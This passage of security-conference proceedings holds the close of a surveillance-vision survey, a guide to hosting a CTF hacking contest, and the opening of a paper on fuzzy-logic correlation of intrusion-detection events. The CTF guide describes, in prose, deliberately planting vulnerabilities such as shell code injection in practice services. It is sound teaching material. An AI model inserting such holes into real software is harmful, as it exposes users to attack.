homogeneous objects (this particular problem has been tackled under the heading of “background subtraction”, for instance cf. [14, 6]). For outdoor use, even a small camera shake – e.g., because of wind – can also cause failure if not compensated for. Therefore, this is usually just one component of a larger system. Optical Flow Considerably more powerful is to assign a motion vector to every pixel of the image by comparison of successive frames. First popularized by Horn & Schunk [9] for detecting ego-motion of robots, in which case the camera is moving (hence the name – when the robot and its camera moves, the rest of the image “flows by”). It has a number of useful properties for this case and makes good use of low-resolution images by smoothing over all pixels for often impressive accuracy. However, with the static camera setup typical for surveillance, troublesome edge cases are more frequent, such as overlapping objects moving in different directions and also the general “aperture problem” that motion is only unambiguous at corners. A good solution is therefore difficult to find or, in effect, optical flow is either slow or inaccurate. For instance, an accurate state-of-the art optical flow algorithm by Bruhn et al [3], achieves 18fps on a 316x252 sequence using a 3GHz Pentium 4, which is considerably slower than most of the other approaches presented. The result is very detailed, but comes at a high price. Skin Color While this may sound particularly silly, given the huge natural variation, “skin color” detection is a fairly common approach, mostly used in conjunction with other cues. For instance, given a body silhouette, skin color may be a good cue to find hands and face. A fairly recent and comprehensive comparison of skin color matching [11] uses images on the web to gather a large data-set (with some fairly obvious results of questionable generality). Of course, this approach is only applicable for surveillance systems that use color cameras. | 214 HOPALONG CASUALTY Appearance As human appearance is very diverse, its direct use for detection was restricted to very limited applications for a long time. In the last years an approach based on an automatically selected combination of very simple features (“boosting”) has made great progress and is now the reigning champion for body part detection, especially face detection. To give an idea of just how simple the features can be, the original example due to Viola & Jones [17] is shown on the right. Much more than these two are needed to be robust, however – typically, between one and two thousand features are combined, in a coarse to fine cascade that applies subsequent features only when the first matches. Appearance based detection requires sufficient resolution to disambiguate body-parts. This is usually possible from surveillance data but crowd shots (such as at sports events) do not suffice. Apart from that, a problem of this approach is the amount of training data required, see 2.4. Its major advantages are that it can detect humans without motion, provides a very precise localization of individual parts and makes very few mistakes of the sort that something which is not a human is mistakenly detected as one (false positives). Very recently it has also been extended to articulated body parts such as hands (e.g. [12]). 2.3 Intermediate descriptions (Summaries) The methods reviewed so far indicate a number of possible locations for humans in an image. They are not yet suitable for further processing however, because: a) multiple humans might be present, possibly overlapping and b) they are still basically at the level of a single frame. The task of separating them is called segmentation and will only be touched upon here, then various methods for summarization in time or space will be described in more detail. Segmentation One of the most ill-defined topics of computer vision, segmentation is a problematic area mostly because everyone seems to expect different things from it. An example for surveillance is whether to segment the human as a whole or whether to identify individual body parts, too. That said, segmentation is usually performed based on a combination of the cues reviewed: For example, spatially connected regions of similar color moving in the same direction are good candidates for segmentation from their neighbors. For more information, please see [8, chapters 14-16] and also the discussion in part 3. Motion History Based on image differencing, motion history images [5] accumulate differences over multiple frames into a single overlayed image. They are inspired by human peripheral vision and especially suited for capturing large body motions. The image on the right1 shows a side view of a person sitting. Brighter parts of the image represent newer information, so that sitting down and standing up can be distinguished. 1 A. Bobick, Cognitive Vision Summer School 2005. 215 | Trajectories Trajectories abstract from appearance and capture position over time only. They can be represented visually (see the white trail in the image on the right2 ) or as paths with a given direction, velocity and duration. Input for trajectories can come from skin color detection, appearance detection and so on. It should be noted that tracking becomes a non-trivial problem quickly, such as with many different motions at the same time, occlusions (due to other people or objects) and the like. For cases such as single walking, linear tracking using Kalman filters [8, chapter 17] works well. When overlap or interaction occur, however, some form of disambiguation by appearance will be required. Furthermore, any actions that severely change body form (such as bending down or dancing) are out of scope for regular tracking and require specialized methods such as particle filters [7], which keep track of the different body parts separately but are not yet ready for production use. Posture A mid-level description between trajectories and full limbtracking is the posture. On its own it is capable of distinguishing between different ways to execute the same action, e.g. compare [1] for distinguishing between different ways of walking (Canadian laws on liability for drunken behavior make this interesting). Also, gait analysis based on posture makes a medium-range biometric [4]. One issue with silhouette-based posture is self-occlusion (compare right arm in the silhouette image3 ). It is also often contextdependent and needs to be complemented with a sequence-based recognition method. 2.4 Recognition Recognition is the process of assigning a human-understandable label to the data and is usually performed with methods from machine learning. The challenge is that explicit specifications of how to perform recognition are next to impossible and work that tries to define classes automatically has not produced anything close to human intuition so far. Therefore, all of the following methods work from examples, which is known as supervised learning and works as follows: First, humans have to manually assign the desired labels to input sequences, creating classes. The combination of data and labels constitute the training set. It is presented to the recognition algorithm, which tries to find structure that is distinctive for one of the given labels. During production, new data comes in from pre-processing and is assigned to the best match amongst the learned classes. Voilà, Recognition! Some, but not all!, algorithms can also reject input that does not fit any of the learned classes. 2 3 | 216 A. Bobick, Cognitive Vision Summer School 2005 Courtesy of C. Bauckhage [1] HOPALONG CASUALTY A thorough review of learning methods is unfortunately beyond the scope of this paper (its long enough as it is). The literature mentioned so far, and especially the book by Forsyth & Ponce [8, part IV and VI] includes material on relevant recognition methods. All I will try here is to convey a rough idea of which method to choose for what kind of problem. For the simplest method is euclidean distance or normalized correlation [8, section 7.6]. Principle Component Analysis (PCA) generalizes both to more examples. Both of these can be used with Bayesian classification, which has been done for many things from background subtraction to face recognition (cf. [16]). Better performance is often achieved by “boosting” or Support Vector Machines (SVMs). For an overview of the various methods, see [8, chapter 22]. Whenever the sequence to be classified consists of multiple examples over time where the precise duration is not known, Hidden Markov Models (HMMs) or more generally, graphical models are applicable to the problem. However, for all their power and sometimes astonishing performance, these methods make decisions based on their input only. In other words, they will pass through the problems of the methods reviewed above and differ mainly in how susceptible they are to bad input. This is often summed up as either it’s the feature, stupid or garbage in, garbage out, depending on your viewpoint. 3 Conclusion Having reviewed a number of techniques for visual surveillance, back to the questions of a) do they perform as designed, b) is that enough and c) should we be worried? Most systems have been designed for controlled conditions only. This reflects the focus on intrusion detection and collection of evidence for forensic use. For these situations, while every individual approach has its shortcomings, a combination can ensure good performance. For all other situations, the basic problem is that appearance is ambiguous. Therefore, no system can learn on its own, it always has to be assisted by humans. As training material costs a lot of money and time to produce, this severely restricts robustness of systems. Another, more severe, problem with the production of training material is that it can rapidly become out of date. For instance, once the targets of surveillance become aware of how they are picked out, they are likely to change their habits rapidly. To counter this, learning has to become continuous and on-line, which opens up avenues for manipulation by providing bad examples deliberately. Imagine the Surveillance Camera Players [15] done with a slightly different purpose! It is a completely open research question whether this problem is solvable. Apart from this question, future reviews should concentrate on detailed analysis of activities and especially interaction, two relatively immature but very active fields of research. These fields are more diverse in that they often concentrate on human-computer-interaction, but some of their methods are also applicable for surveillance. 217 | References 1. C. Bauckhage, J. Tsotsos, and F. Bunn. Detecting abnormal gait. In Proc. Canadian Conf. on Computer and Robot Vision, pages 282–288. IEEE, 2005. 2. R. Blake, L. Turner, and M. Smoski. Visual recognition of biological motion is impaired in children with autism. Psychological Science, 14(2):151–157, 2003. 3. A. Bruhn, J. Weickert, C. Feddern, T. Kohlberger, and C. Schnorr. Variational optical flow computation in real time. IEEE Transactions on Image Processing, 14(5):608–615, 2005. 4. R. Collins, R.Gross, and J.Shi. Silhouette-based human identification from body shape and gait. In Proc. Int. Conf on Automatic Face and Gesture Recognition, pages 351–356, 2002. 5. J. W. Davis and A. F. Bobick. The representation and recognition of human movement using temporal templates. In CVPR ’97: Proc. Conf. on Computer Vision and Pattern Recognition (CVPR ’97), page 928. IEEE, 1997. 6. A. Elgammal, D. Hardwood, and L. Davis. Non-parametric model for background subtraction. In Proc. of the 6th European Conference on Computer Vision (ECCV), volume 2, pages 751–767, 2000. 7. D. Forsyth and J. Ponce. Tracking with non-linear dynamic models, 2003. Orphan Chapter from ’Computer Vision, A Modern Approach’, http://www.cs.berkeley.edu/ daf/bookpages/pdf/particles.pdf. 8. D. A. Forsyth and J. Ponce. Computer Vision, A Modern Approach. Prentice Hall, Upper Saddle River, NJ, USA, 2003. 9. B. Horn. Robot Vision. MIT Press, 1986. 10. A. Jacobs, J. Pinto, and M. Shiffrar. Experience, context and the visual perception of human movement. Journal of Experimental Psychology: Human Perception & Performance, 30(5):822–835, 2004. 11. M. J. Jones and J. M. Rehg. Statistical color models with application to skin detection. International Journal of Computer Vision, 46(1):81–96, 2002. 12. M. Kölsch and M. Turk. Fast 2d hand tracking with flocks of features and multicue integration. In Proc. of the IEEE Workshop on Real-Time Vision for HumanComputer Interaction (CVPRW04)), volume 10, page 158. IEEE, 2004. 13. M. Minsky. The Society of Mind. Simon & Schuster, 1988. 14. N. Oliver, B. Rosario, and A. Pentland. A bayesian computer vision system for modeling human interactions. IEEE Transactions on Pattern Analysis and Machine Intelligence (PAMI), 22(8):831–843, 2000. 15. Surveillance Camera Players. Completely distrustful of all government, 12th December 2005. http://www.notbored.org/the-scp.html. 16. M. Turk and A. Pentland. Face recognition using eigenfaces. In Proc. IEEE CS Conf. on Computer Vision and Pattern Recognition (CVPR), pages 586–591, 1991. 17. P. Viola and M. Jones. Rapid object detection using a boosted cascase of simple features. In Proc. IEEE CS Conf. in Computer Vision and Pattern Recognition (CVPR), volume 1, pages 511–518, 2001. | 218 Hosting a Hacking Challenge CTF-style Background information on CIPHER, an international Capture-The-Flag contest Lexi Pimendis 219 | Hosting a Hacking Challenge – CTF-style Lexi Pimenidis Chair of Computer Science for Communication and Distributed Systems – RWTH Aachen 1 Introduction There are a couple of reasons to create and host a hacking challenge. One of the major reasons for universities and other educational institutes is, to teach defensive and offensive IT-security in a somewhat more realistic environment than the traditional classroom. Although a hacking challenge is a lot of work to set up, it is a large gain for everyone. The participants, i.e. students, will have new insights and learn how to work under pressure. A successful challenge will raise its host’s reputation in the world of IT security and demonstrate his skills to manage and setup complex environments. Experience shows that students very much enjoy this untraditional style of practise and are willing to learn and exercise hard in preparation for such an event. Needless to say that a well organized CTF is fun for everyone. The main goal of a hacking challenge is to simulate a network under constant attack and let the participants do their best to cope with the situation. Of course, the players will already need to have basic knowledge in defending systems to draw an advantage from these situation. Even more, it is intuitive that hacking challenges are more suitable for the advanced courses, where not only defense skills are taught, but also basic knowledge of offensive approaches to IT security are known. In a CTF-style hacking challenge participants are usually grouped into teams that are each assigned to a specific server. Recent exercises have shown that teams work most effective, if they are of size five to ten. While smaller teams don’t have the man power to keep up with larger teams, too large teams tend to be unproductive because of the large internal communication overhead. The teams’ task is to keep the own server’s functionality up and its data confidential, while trying to disturb the other teams’ services at the same time. The deployed services are most often the same on each server, such that the teams can analyze the services’ structure on their own host to gain insights in their functionality. If a vulnerability is found in a service, it can be fixed on the own system and exploited elsewhere. Scores are assigned for defending the own system and compromising other servers. “CTF” stands for capture the flag. Flags are small pieces of data, unique random-looking strings, that are stored on each service of every team. The flags are stored and retrieved in intervals of several minutes to test, if a team could keep a service up and functional. Defensive scores are assigned for availability of services. | 220 HOSTING A HACKING CHALLENGE - CTF-STYLE That is, unless some other team was able to compromise a service and could read the stored data. The flags are considered captured, if one team can submit the flags of another team to a central database. In that case, the capturing team receives offensive points, while the defending team’s defensive points are cancelled. The task of submitting flags, retrieving them and keeping track of the scores1 is done by a piece of software called gameserver. The duration of such a challenge can range from several hours to several days. In the course of this article, I’ll describe some preconditions and initial work that has to be done in order to host a CTF-style hacking challenge (or short: CTF). Section 3 is about choosing and creating the services, which is the central part of the challenge. Section 4 will briefly discuss some common pitfalls and contains links to more information. 2 Preconditions and Initial Work This section deals with basic questions on the organizational part of a hacking challenge. While some of them might seem trivial, their importance shouldn’t be underestimated. Any challenge that is of non-trivial size can only be accomplished as a major effort of the host, as well as the participants. Such, the first decision should be to agree on a date, the duration and a place for the event to happen. The location is of minor importance, but a good Internet connection is suggested. Since a CTF can be done “distributed”, players can participate over the Internet from any location. If remote participation is allowed and the game lasts only for a few hours, the time frame should be chosen in a way, that the majority of players does neither need to work early in the morning nor very late. In the following, the focus will be on a distributed CTF. Since the actions during the course of the hacking challenge will be of potential harm to third parties if accidently misdirected, all traffic will has to take place within a closed and secured VPN. To control and log data flows between the teams, all traffic has to be routed over a central VPN-server. An example network layout for two teams is depicted in figure 1. Hardware and Software requirements differ for each event, but a typical setup can be done with a gameserver and a central router for the VPN. Each team is suggested to deploy a gateway, the server that runs the services and one workstation for each participant. In a distributed scenario, each team runs its server locally. To ensure that the services initially have an identical setup, the services are deployed as part of a virtual machine. The virtual machine is setup in advance by the host, encrypted and distributed ahead of the exercise. At the start of the exercise the encryption key is published, the images are decrypted and started. Another advantage of working on virtual machines is that the memory layout is identical. 1 The team with the highest score wins. But in my opinion, winning the contest is a secondary goal only. 221 | 10.1.1.x Player 10.1.1.y Player Game Server 10.0.0.x Team Server 10.1.1.1 Vulnerable Box (VMWare) 10.1.1.3 10.1.1.z Player VPN−Server 10.0.0.1 Team 2 10.2.1.1 10.2.1.y Player 10.2.1.x Player Team Server 10.2.1.2 Vulnerable Box (VMWare) 10.2.1.3 Fig. 1. An example network layout, using a central VPN-node Although the term “hacking challenge” implies a certain absence of regulated behavior, it is commonly accepted that even during this sort of event some basic etiquette has to be kept. Since CTFs are quite new, there is yet no elaborated set of rules. Instead, every host chooses to adapt rules from former exercises and creates new ones. Still, some common basics exist: the most important rule is that destructive behavior, be it due to unsophisticated denial of service attacks, or wiping essential system files on other teams’ servers, is forbidden. The same applies to intentional support of other teams. Since a CTF usually allows a larger number of teams, it’s common that multiple teams from e.g. a single university take part. Thus it has to be avoided that cooperation of these teams lead to unfair advantages. Automated tools that work around security issues, like e.g. stack protection mechanisms, without fixing the cause of a vulnerability are banned from most challenges. Finally, it is strictly forbidden for the participants to filter requests in order to block queries from the other teams and accept queries from the gameserver. Of course, it is difficult, if not impossible, to enforce the above rules, if the teams are distributed over different continents. Thus a team usually has to assign a person that is not actively playing as a local referee. Additionally all traffic is logged to allow in-depth investigations of possible incidents later on2 . To make filtering of queries more difficult, the traffic is sometimes anonymized on the IPlayer. But then, care has to be taken to keep a good QoS of the network: it has happened that the central router was not able to keep up with the participants and the network broke down for large periods of the exercise. 2 | 222 The traffic logs can also be used as training data for for forensic classes. HOSTING A HACKING CHALLENGE - CTF-STYLE Having understood the impact and organized all of the issues in this section, the main work of hosting a hacking challenge starts: choosing and creating vulnerable services. 3 Vulnerable Services The most difficult part in hosting a CTF is to choose or create a set of vulnerable services. Unfortunately it is also the most crucial part. If the weaknesses are too difficult to find and exploit, then the participants will soon get tired of looking for them and loose interest. As such it is important to have some vulnerabilities that are obvious, simple to fix, and trivial to exploit. After these bugs are inserted, the host can start thinking about hiding the next security issues deeper in the code. In some recent CTFs it happened that there were some services left without analysis by any team because of the degree of difficulty. This should be avoided because it is an unnecessary waste of the organizer’s and participants’ time and resources. Additionally, it can be regularly seen that some teams can’t fix even rather simple bugs, such that (unfortunately!) there is likely in any CTF a chance to exploit other teams’ services even hours after the start of the exercise. An easy way to provide some services, is a setup consisting of ordinary outof-the-box software, like e.g. Apache or Samba. To make exploitation feasible, older versions are preferred – it makes no sense asking teams to come up with zero-day exploits. An excellent choice of software can also be found in some freeware collections of e.g. webbased guestbooks, where the work of unskilled programmers is distributed. On the other hand, there is a huge drawback with this approach, since there are often some exploits for this kind of software in the wild that can be found with Google or in similar databases. This raises the risk that players will not analyze the code themselves or look for innovative methods to defend their servers; instead they tend to compile the latest version and look for existing exploits in the WWW. Especially the latter is definitely something that should not be encouraged by CTFs. The second best thing to do, is to take existing software and deliberately insert vulnerabilities to make exploitation easier. But even well hidden bugs can be trivially detected by comparing the modified program with the original source or binary. To avoid this, all appearances of a program’s real name and version have to be changed. A task that can get very fast tedious and if some clues remain, will be in vain. A solution that circumvents all of this problems and is commonly adapted throughout major CTFs is, to write custom services from scratch. To make services exploreable and exploitable by other teams and the gameserver, they are in some way connected to the network and listen for input. Note that custom does not necessarily refer to custom network protocols, but rather to the implementation. Although widely known standards like POP3, HTTP and SMTP are preferred, sometimes arbitrary new protocols can be encountered, as well as cross-overs. 223 | 3.1 Cookbook for Custom Services Designing a custom service for a CTF is probably more kind of an art than real programming due to the didactical aspects that have to be integrated. Before starting to code, the programmer should have a clear idea on the type of the service, i.e. he has to decide upon the network protocols, the kind of vulnerabilities that will be included and the programming languages used. Unless the participants are supposed to learn a new programming language under pressure, it is recommended to stick with widely known languages. Most CTFs have at least some parts that make use of PHP, Perl, C, and SQL. A reverse engineering challenge is always included, too. Commonly used are also Bash and Python, to a lesser extend Java and C++. There weren’t yet services written in Basic, Pascal, or Mono, although the latter might be an interesting choice for upcoming events. Whatever the choice is, the creator of a service needs to have a very good understanding of the programming language’s structure and possible vulnerabilities. The service should be designed, not only with the interfaces in mind, but also must have a natural way of working with flags, i.e. storing and retrieving confidential data. This can be accomplished by extending a network protocol to include new commands for the gameserver, or install backdoors in the code that can not be exploited by the players. But in general it is recommended to stick with the normal behavior of a service, e.g. if the service is a mail-server, the flags should be stored by SMTP and retrieved by POP3, instead of connecting to the server with a SSH-shell and leaving a flag in an undocumented location. Up to now, not a single line of code was needed to be written, but if the above issues have been integrated into an overall design, coding can start. It is a recommendation to first code a flawless version of the service that is well documented and understood. For a CTF that lasts six hours, a service should have between 500 and 2500 lines of code. The complexity should not exceed the level than can be accomplished by a single average participant within the given duration of the exercise. When the clean version is finished, the time has come to spin-off the vulnerable version. The main reason for this being late in the process is, that only this way, the programmer of the service can be sure to control the way, the service will get exploited. Otherwise there might be some ways to break it, that weren’t foreseen. As already discussed in Section 3, there should always be some easy to spot vulnerabilities included. To raise the degree of difficulty, atypical vulnerabilities can be inserted, where appropriate, e.g. shell code injection in C programs. The main purpose of each planted vulnerability is to give “unauthorized” access to the stored flags. Depending on the rules of the specific exercise, it should be avoided that this access can be used to destroy flags. Otherwise a team might start collecting flags and destroy them afterwards, such that the other teams can’t collect them anymore. In any case it must be avoided that a vulnerability in one service can be used to read the flags from another service. If so, the fact should be taken into account for the scoring. The worst thing to happen is that | 224 HOSTING A HACKING CHALLENGE - CTF-STYLE a team easily reaches administration privileges on another team server, thus being capable to read all flags at will and destroy whatever they like. Thus the operation system on the servers should be as secure as possible, separating the vulnerable services from each other and protecting the basic functionality. The last few items on the check list for a custom service include writing a module for the gameserver, such that the flags can be set and retrieved for the scoring system. Some testing in the final environment is obligatory, while example exploits for the intentional vulnerabilities are optional. 4 Common pitfalls This section will, in no specific order, touch further issues that should be kept in mind. If the contest is done remotely and the services are distributed in an image of a virtual machine, care has to be taken that the image will boot correctly and that all participants, possibly being from other countries, can work on it. Such, the timezone should be set to UTC, the keyboard layout set to US, and automatic hard disk-checks at startup should be disabled. In general, the most likely cause for a drop-out of the exercise are hardware failures, directly followed by software failures of untested setups. Organizers should always have some spare hardware during the contest, which is ready configured for hot-swapping. The same applies to a lesser degree for each team’s router and server, whereas workstations are not critical. Depending on the amount of advertisement that has been done for the service (if any), there will be some teams that are incapable of connecting to the VPN or didn’t understood the rules properly. Prepare a policy how to deal with these in advance and firmly stick with it during the CTF. The same applies to violation of given rules. Bear in mind that, whatever any rules might be, they are fair as long as they treat all participants and all of them equal. Good experiences have been made, to publish detailed rules in advance, such that there are no misunderstandings. Finally, all side channel attacks on flags and the scoring system have to be avoided. That is, e.g. flags should under no circumstances be computable or follow some scheme that can be broken. More information can be found on the web-pages of those who host CTFs on a regular basis: CTF UCSB http://www.cs.ucsb.edu/ vigna/CTF/ CIPHER http://www-i4.informatik.rwth-aachen.de/˜ lexi/cipher/ op3n http://www.ito.tu-darmstadt.de/edu/ctf/da.op3n(2005)/ Italian CTF http://idea.sec.dico.unimi.it/ctf/index.it.html 225 | Intrusion Detection Systems Elevated to the Next Level Alien8, Matthias Petermann 227 | Intrusion Detection Systems Elevated to the Next Level Frank Becker, Matthias Petermann December 4, 2005 1 Introduction the one operating system or application. In sensitive environments there is at least a big need to recognise that an attack has happened at all. Only then it is possible to isolate infected systems, evaluate the damage and take measures against the origin. Intrusion Detection Systems help to recognise evidences of attacks, give a hint of the origin and the destination of the attacker, and also help evaluate the incidents. They only can be efficient if several IDS techniques are combined together to give a picture of what has happened or to alarm of a certain event or combination of events. Further a decent number of distributed sensors are the only way to detect distributed attacks the spreading of worms and such patterns in large environments such as company networks. The name ”Intrusion Detection System (IDS)” suggests one to get something that deployed in a network alarms you in case of an attack. Systems that also try to block those attacks are known as Intrusion Prevention Systems (IPS). The magic of deciding what is an attack and what is normal is left most of the time to single sensors matching traffic patterns or observing system activity. One who has operated such a system knows what he gets. Sometimes it works quite well, often it fails for several reason. Those times, systems in a larger local network or on the Internet are permanently threatened by attacks of all kinds. So called ”Internet-Worms” exploit vulnerabilities of applications or operating systems and use their capabilities to infect further systems in the network. Some of them include functionalities of Trojan horses or bots - they run hidden in the background and observe the user while he is working. They collect private or confidential data and post it to someone somewhere in the Net. In the meantime, the attacker has already got full control of the system. Just a normal day: Someone doing his business on your machine. Spreading Spam, DDOSing web servers, collecting passwords, or preventing you from playing the non-licenced MP3 via root-kits. Not to mention that manual attacks are the great danger, actually. Protecting systems and networks first has to be done on the system itself. Another layer are systems such as packet filters, application layer gateways, virus filters and so on. They do a good job - but are far from being perfect. Especially when it comes to zero day exploits the virus scanner cannot do anything. In fact, there is no effective protection if you are stuck to the requirement of | 228 2 IDS Technologies There are two classes of IDS - network based IDS (NIDS) and host based IDS (HIDS). While NIDS aim to analyse the data crossing the network, HIDS reside on the hosts and keep track of every suspect occurrences. In the Open Source world there do exist many interesting projects that cover one of those technologies, each. 2.1 Snort A well-known NIDS is Snort1 . Snort is a socalled Packet-Sniffer. That means it analyses all IP packets that pass a specified network-interface. The analysis serves in two passes. In the first part Snort uses pre-processors to detect anomalies on packet level, that includes the ability to detect port scans, manipulated packets 1 1 http://www.snort.org INTRUSION DETECTION SYSTEMS and denial of service attacks. There exists also a patch which makes use of the free ClamAV2 virus scanner, so viruses can be detected just in time they got downloaded from the web. The second pass depends on a special preprocessor - the stream-pre-processor, whose purpose is to reassemble packets to their original order in tcp-streams or known udp-protocols. They become directed to a pattern matching engine where they become investigated for known attack patterns and signatures of defective code, for example buffer overflows, exploits, worm signatures and so on. The signatures can be verbalised as a set of rules. Beside the chance to create own rules they can be got from third parties, for example the Bleedingsnort3 project or from commercial suppliers like Sourcefire4 . Newer versions of Snort are also able to interact with the Netfilter implementation of the Linux kernel in a way to let it work as an Intrusion Prevention System (IPS). This feature is called the inline-mode. have built-in flow-probe-functionality, on Linux systems one can use special software like fprobe5 to extend any system with flow-probe capabilities. You will also find some free tools for the counterpart, for example the flow-tools6 . IDSs can take benefit of NetFlow especially for detecting anomalies in network utilisation. Imagine a office department with working hours fixed to the daytime. It would be very suspicious if there would be large amounts of network traffic at night. 2.3 System log files Thinking about host based IDS the first thought should be that there are a lot of log files, for instance on Unix systems. They run a centralised syslog service where almost every service (web server, mail server, ...) can connect to and dump its log data - difficult to manipulate afterwards in order to wipe out tracks of an attack. By parsing the collected log files one can get information for example about: 2.2 NetFlow • Failed login attempts Beside the investigation of packet’s content it is also interesting to know in which quantities packets flew between hosts at a particular time. With a focus on getting statistic information of network utilisation the NetFlow protocol was invented by Cisco. The products which initially were built around this protocol provide traffic accounting services. The measure unit for NetFlow accounting is a flow, which is defined as a description of a packet flow from one host to another. The corresponding flow record contains information about source IP, target IP, source port, target port, flags, payload and the connection time. A common implementation of NetFlow consists of two components. The one which is responsible for gathering the flow records out of the packet flow is called the flow-probe. Typical flow-probes export the gathered flow records from time to time though UDP packets to so-called NetFlow collectors, which are the other part of the implementation. These collectors receive the flow records and store them - for example in a database - for further proceedings. While some active network components still • Successful logins • Access to web- and mail-services • Firewall logs (blocked/accepted packets) • Changes of the system configuration • Creation of new user accounts 2.4 File fingerprinting Another host based technology is file fingerprinting. When it comes to a successful intrusion, it is important to keep track of possible manipulations of system files. This can be achieved by building a cryptographic hash (fingerprint) over the content of each file and store them on a secure place. To check for modifications one has only to proceed a repeated hashing cycle and compare the hashes with the original ones. With Samhain7 you can get a quite powerful file integrity checker. Beside modifications of the file’s content it is able to recognise: • Changing file access rights 2 5 3 6 http://www.clamav.net http://www.bleedingsnort.org 4 http://www.sourcefire.com http://fprobe.sourceforge.net http://www.splintered.net/sw/flow-tools/ 7 http://la-samhna.de/samhain/ 2 229 | • Changing file owner / group through it. Running honeypots can help while studying the behaviour of attackers and serve as a supplement to emphase alerts from other IDSs. As it is not really efficient to maintain separate machines just for this purpose it is useful to virtualise them. A project that provides a virtual honeypot software is honeyd11 . Honeyd runs on most common Unix-like operating systems and is able to emulate a complete network environment, including routers and their latency. The virtual hosts are highly configurable by own scripts. Access to one of the hosts can be instantly logged. • Creation of new files • Deletion of files 2.5 Syscall monitoring On Unix based systems every library call - for example reading from a file - raises a couple of system calls to the kernel. The idea behind syscall monitoring is to keep track on syscalls and log anomalies. So it would be possible to detect: • Opening, reading and writing files 3 Current problems • Opening of network sockets The introduced software systems are not designed to work together. Beginning with the circumstance that each of them uses a different format for log output, there is no tool to analyse the collected information from different IDSs at a common place. For example, if a worm hits a network part it often does not affect just one IDS. When it uses a buffer overflow to spread itself, the buffer overflow would possibly be detected by a NIDS. If the worm changes a file on infected systems, this would be detected by a HIDS. Many different IDS could be triggered by the attack. While spreading around the network, such a worm produces a lot of events on different IDSs which all log to different places. The quantity of events quickly increases to a point where no human administrator would be ever able to separate the important from the less important, or even recognise a coherence in between them. • Forking new processes • Execution of files Systrace8 is an implementation of a security layer for syscalls which was originally developed for OpenBSD9 . Today it is also included in the NetBSD10 base system and available as a kernel patch for Linux. Systrace contains a kernel interface and user space tools to enforce free definable syscall policies on a per-user/per-process level. Processes that violate their policy during execution were logged. For instance, it makes sense to enable Systrace for a web server and define a policy that denies that the server is able to open the system’s password file. Even a completely misconfigured server would not be able to access the file, because it would be forbidden on kernel level. Also in case of a buffer overflow which would break the security constraints at application level, it could not 4 Guide to a solution read the file. Instead the policy manager makes a log entry for this event. For an ideal solution we define three main goals: 1. A standardised data format 2.6 Virtual honeypots A very valuable resource for IDS are honeypots. 2. Centralised data storage Honeypots are dedicated systems with potential 3. A common analysis tool vulnerable software installations. Their only purpose is to act as a trap for attackers. Because functionality of this systems is not part 4.1 A standardised data format of the daily business, every access to them is potentially suspicious. For example, mounting a file Each of the IDSs stores its data in its own format. share on such a system, or trying to send mail There is no generalisation. NIDSs provide quite different data than HIDSs, and as different are 8 http://www.citi.umich.edu/u/provos/systrace/ their data formats. 9 10 http://www.openbsd.org http://www.netbsd.org | 230 11 3 http://www.citi.umich.edu/u/provos/honeyd INTRUSION DETECTION SYSTEMS For centralised storage and analysis the first requirement is to normalise the different formats to a common one. The Internet Engineering Task Force (IETF) if working on a very promising approach of an universal data format for IDSs. It is called the Intrusion Detection Message Exchange Format (IDMEF12 ). Currently the draft undergoes an evaluation and has a good prospect to become declared as a RFC. In technical sense IDMEF stands for an object oriented data format which consists of extensible classes. The current draft suggests the implementation in XML. Figure 1: Simple correlation with logical conjunction - successful 4.2 Centralised data storage To enable centralised analysis it is essential to hold all the necessary data at one centralised place. This can be achieved by providing a framework - consisting of a centralised storage and an common interface for existing IDSs. Prelude-IDS13 is such a framework. It is called a ”hybrid IDS” because it can utilise all the introduced IDSs as sensors for putting their events in a common database, using the IDMEF. The events were sent out to a special server process, the Prelude-Manager, through a SSL encrypted and authenticated connection. Some of the sensors - for example Snort and Samhain - already include direct library support for the Prelude-IDS. Others that only report to Syslog, can be imported by a special sensor called Prelude-LML. This sensor is able to read any kind of log file and parse it by Perl compatible regular expressions. The extracted values can be mapped to IDMEF. Prelude-LML is highly configurable and fits for many cases. For special needs which cannot be fulfilled by Prelude-LML, there are also excellent C-, Python- and Perl-Bindings to include Prelude’s functionality into other sensors. 5 An approach for correlation With Prelude-IDS all events are available on a single place. Since PreWikka lacks correlation the main problem remains - when it comes to a large quantity of reported events no human can handle them at all. All the single events give no reliable information if there was really an attack or whether they are just an accumulation of random events with no relationship to each other. So we decided to implement a rule-based correlation module. The purpose of such a module is to combine related events to an incident. This leads to a strong mitigation of the information the administrator has to evaluate. 5.1 Basics of correlation Relationships between separate events can be expressed by a set of rules. A very simple correlation approach could be the inspection of a particular time window with the assumption that a specified set of events appear together. If that assumption would be fulfilled, the events become an incident. A demonstrative way to show the flaws of such a system is to take a typical pattern how a simple Internet worm could act: 4.3 A common analysis tool Prelude-IDS includes PreWikka which is a webbased IDS-console. With PreWikka one can browse all the events reported by the connected IDSs, put filters on them and perform basic inspection tasks. 1. Worm sends out frequently broadcast pings from an infected host to the network 2. Worm attacks answering hosts with a Buffer Overflow 12 http://www.ietf.org/internet-draft/draft-ietf-idwg-idmef -xml-14.txt 13 http://www.prelude-ids.org 3. Worm changes a file on each newly infected host 4 231 | Figure 2: Simple correlation with logical conjunc- Figure 3: Events with assigned affiliation function - failed tions Assuming that the whole process would take 10 seconds a matching rule can be constructed. It would consist of a logical AND-conjunction of the event ”ICMP Ping”, ”Buffer Overflow” and ”File Change”. As shown on Figure 1 that would work fine for the exact order of events within the expected time window. The big flaw would be exposed if one of the events runs a little bit out of the time window (Figure 2). Even when the behaviour of a worm is well-known and carefully described in the rule, divergences can happen as a result of load differences or network latency. As the rule uses logical conjunctions there are only the states ”true” and ”false”. If one event is missed, the whole rule would lead to a sharp, wrong decision - in this case ”false” which means the system would not detect the attack. To avoid short wrong decisions a fine grained rating system must be introduced. A look at modern cybernetics opens a promising prospect to fuzzy logic which allows to utilise such a fine grained rating. Conclusions in Boolean algebra can only adopt two states - either true or false. The same applies on the resulting set which can be described by a two-valued affiliation function. To achieve a smooth transition instead of using only two states the two-valued affiliation function has to be replaced by a continuous one. This function builds the foundation for the so called fuzzy set. A fuzzy set is defined by the ordered pair (X, μM ). X represents the basic set and μM is the continuous affiliation function. The affiliation function maps the set X to the interval [0, 1] and shows how much the resulting value belongs to the fuzzy set. 5.3 Applying fuzzy technologies to IDSs Goal of using fuzzy technologies in IDSs is to provide a facility to program smooth rule sets for unsharp detection of related events. Therefore every type of event which is expected to be related to a certain incident will be assigned to an affiliation function. As the events are lined up on some kind of time bar the value of the function at the particular time stamp where it occurs expresses how much the event belongs to the supposed incident. Employable affiliation functions have a definition range in between the real numbers and a value range in the interval [0, 1]. A few examples you can see in Figure 4. The practical proceedings are quite 